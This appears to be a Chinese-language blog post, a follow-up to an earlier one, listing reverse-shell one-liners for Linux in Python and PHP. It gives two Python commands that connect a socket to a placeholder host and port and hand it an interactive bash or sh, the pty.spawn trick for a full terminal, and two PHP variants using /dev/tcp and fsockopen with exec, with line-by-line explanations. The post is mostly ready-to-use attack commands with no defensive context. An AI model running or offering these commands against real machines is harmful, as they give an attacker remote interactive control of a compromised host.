继上一篇linux中反弹shell的方法,除了bash、nc还有一些脚本的反弹
一、python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
export RHOST='x.x.x.x';export RPORT=7777;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/sh')'
我们有时候获取shell的交互不稳定的原因,就是因为获取到的shell不是标准的虚拟终端,而使用python则可以实现一个标准的虚拟终端环境。以上两个命令都可以实现python反弹。
python反弹命令的具体意义:
python一句话获取shell:python -c "import pty;pty.spawn('/bin/bash')"
-c:命令行执行;
import pty 引入标准库pty;
pty.spawn 使用pty的spawn方法调用/bin/bash获取一个标准的shell;
首先建立socket连接,然后使用os库的dup2的方法将标准输入、标准输出、标准错误输出重定向到监听端。然后使用os的supprocess在本地开启一个子进程,然后/bin/bash -i 开启交互。
php反弹
第一种方法:
php - 'exec("/bin/bash -i >& /dev/tcp/x.x.x.x/port 0>&1");'
这个就跟nc的方式差不多。
第二种方法:
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
地址符号上一篇有讲,在这里3代表使用fsockopen函数建立socket返回的文件描述符,将标准输入、输出和错误输出重定向到监听端。
注意:使用php反弹需要php关闭safe_mode 选项才可以使用exec函数。
这两篇总结选了几种常见的shell反弹方法。细节可能并不完整,大佬勿喷